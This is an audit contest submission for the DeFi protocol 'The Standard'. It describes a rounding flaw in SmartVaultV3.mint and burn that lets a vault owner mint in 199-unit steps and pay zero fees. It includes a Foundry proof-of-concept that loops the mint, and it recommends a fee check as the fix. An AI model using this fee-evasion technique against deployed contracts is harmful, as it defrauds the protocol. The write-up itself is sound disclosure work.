The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: low
Valid

Not checking for fees/amount causes users to borrow/repay without paying fees.

touthang

Vulnerability Details

In the SmartVaultV3.sol contract vault owners can borrow EUROs by calling the mint function. For every borrow a fee of 0.05%(currently from tests) is taken and is calculated by uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC(); i.e. fee = amount * 500 / 1e5 which can be written as fee = amount / 200. And since the user can mint any amount(as long as he is overcollateralised) of EUROs he can mint 199 EUROs which is less than 200 so that the fee is rounded down to 0. fee = 199 / 200 = 0.

He can do this countless times by using a contract that has a for loop function to mint 199 amount of EUROs multiple times until he sucessfully mints 1e18(1 EUROs) tokens but pay 0 amount of fees.

This is possible because the EUROs token contract uses openzeppelin's ERC20Upgradeable contract which does not revert on minting/burning 0 amount of tokens.
And the SmartVaultV3::mint doesn't check that there is atleast some amount of fees paid by the user.

A user could:

  1. create a contract that has a function with maximim possible loop that can handle the SmartVault contract's minting and burning and transfering the nft.

  2. create new vault by calling SmartVaultManagerV5::mint.

  3. transfer the nft to his contract.

  4. mint or burn without fees in loop until he reaches the desired amount and transfer back the nft to his address.

Impact

While this would be very expensive on mainnet chain the gas cost significantly becomes lower for l2 chains like arbitrum which the protocol is currently using which will make the transaction more profitable for the user.
And it also depends on the amount of fees set by the protocol.

With the growing blockchain ecosystem we will see more chains that cost significantly lesser transaction fees(gas) where the protocol will likely participate in and it is more likely that the protocol will charge less fees it grows.
And this is also possible in the burn function. Hence I would rate this to be a medium severity although it might not be profitable for the attacker in some cases.

POC

Integrate foundry in the project and create a new file in the test folder and paste this code below:

//SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
​
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
​
import {EUROsMock} from "contracts/utils/EUROsMock.sol";
import {SmartVaultV3} from "contracts/SmartVaultV3.sol";
import {SmartVaultManagerV5} from "contracts/SmartVaultManagerV5.sol";
​
contract testMintWithoutPayingFees is Test {
EUROsMock public mockEUROs;
SmartVaultV3 public smartVault;
SmartVaultManagerV5 public smartVaultManager;
​
address public protocol = makeAddr("protocol");
​
function setUp() public {
mockEUROs = new EUROsMock();
smartVaultManager = new SmartVaultManagerV5(); //add __Ownable_init(); in the intialize function for this test to work
smartVaultManager.initialize(); //we do this because we are not upgrading from existing contract but directly deploying it for testing
smartVaultManager.setMintFeeRate(500); //set the mint fee to 0.5% (from test)
smartVaultManager.setProtocolAddress(protocol);
​
// lets deploy a new vault directl without price calculator and address(1) as the owner for simplicity as we do not need them for this test
smartVault = new SmartVaultV3("NATIVE", address(smartVaultManager), address(1), address(mockEUROs), address(0));
mockEUROs.grantRole(mockEUROs.MINTER_ROLE(), address(smartVault));
}
​
function test_MintWithoutFees() public {
// comment out the check for collateral in the mint function
for (uint256 i; i < 1e5; i++) {
vm.startPrank(address(1)); //owner of the vault
smartVault.mint(address(1), 199);
}
console.log("minted to borrower >>>> ", mockEUROs.balanceOf(address(1)));
console.log("minted to protcol as fees >>>>> ", mockEUROs.balanceOf(protocol));
}
}

For this POC to work change the SmartVaultManagerV5::initialize to:

function initialize() public initializer {
__Ownable_init(); // added for test
}

we do this because we are directly deploying the SmartVaultManagerV5 contract for this test and not upgrading it from an existing one so we need to initialize the owner.

and comment out the require check in the SmartVault::mint function:

function mint(address _to, uint256 _amount) external onlyOwner ifNotLiquidated {
uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
//require(fullyCollateralised(_amount + fee), UNDER_COLL);
minted = minted + _amount + fee; // increase the total minted count
EUROs.mint(_to, _amount); //mint the amount of euros to the user
EUROs.mint(ISmartVaultManagerV3(manager).protocol(), fee);
emit EUROsMinted(_to, _amount, fee);
}

we don't need to check for the collateral for this specific test purpose. It will work as long as there is enough collateral for the amounts minted so we comment out for simplicity and easy testing.

run forge test --mt test_MintWithoutFees -vvv.

Tools Used

manual, foundry.

Recommendations

Add a check that the fees must be always greater than 0.
require(fee > 0, "insufficient mint amount") in the mint and burn functions.

OR

alternatively add require(amount >= 1e18) in both the mint and burn functions.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

fee-loss

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mint-precision

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.